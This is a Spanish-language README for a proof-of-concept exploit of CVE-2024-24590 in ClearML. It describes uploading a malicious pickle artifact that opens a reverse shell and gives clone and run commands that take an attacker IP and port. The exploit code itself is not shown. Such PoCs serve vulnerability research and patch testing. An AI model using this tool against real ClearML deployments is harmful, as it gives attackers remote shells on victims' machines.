
Prueba de concepto para CVE-2024-24590
_____ _ __ __ _ _____ ____ _____
/ ____| | | \/ | | | __ \ / __ \ / ____|
| | | | ___ __ _ _ __| \ / | | | |__) | | | | |
| | | |/ _ \/ _` | '__| |\/| | | | ___/| | | | |
| |____| | __/ (_| | | | | | | |____ | | | |__| | |____
\_____|_|\___|\__,_|_| |_| |_|______| |_| \____/ \_____| - 2024-24590 x OxyDe
Este proyecto demuestra cómo subir dinámicamente un artefacto pickle a ClearML con parámetros configurables mediante argumentos de línea de comandos. El script inicializa una tarea de ClearML, configura dinámicamente un comando para la ejecución de una shell inversa y lo sube como un artefacto. (PoC-CVE-2024-24590)
Referencia: https://hiddenlayer.com/research/not-so-clear-how-mlops-solutions-can-muddy-the-waters-of-your-supply-chain/
clearmlargparsepickleosInstalar el paquete ClearML:
pip install clearml
Clonar el repositorio:
git clone https://github.com/OxyDeV2/PoC-CVE-2024-24590.git
cd PoC-CVE-2024-24590
Para ejecutar el script, use el siguiente comando con los argumentos apropiados:
python script.py --project_name "<nombre_del_proyecto>" --task_name "<nombre_de_la_tarea>" --tags <etiqueta1> <etiqueta2> ... --artifact_name "<nombre_del_artefacto>" --ip "<dirección_ip>" --port "<puerto>"
Gracias a Skriix :)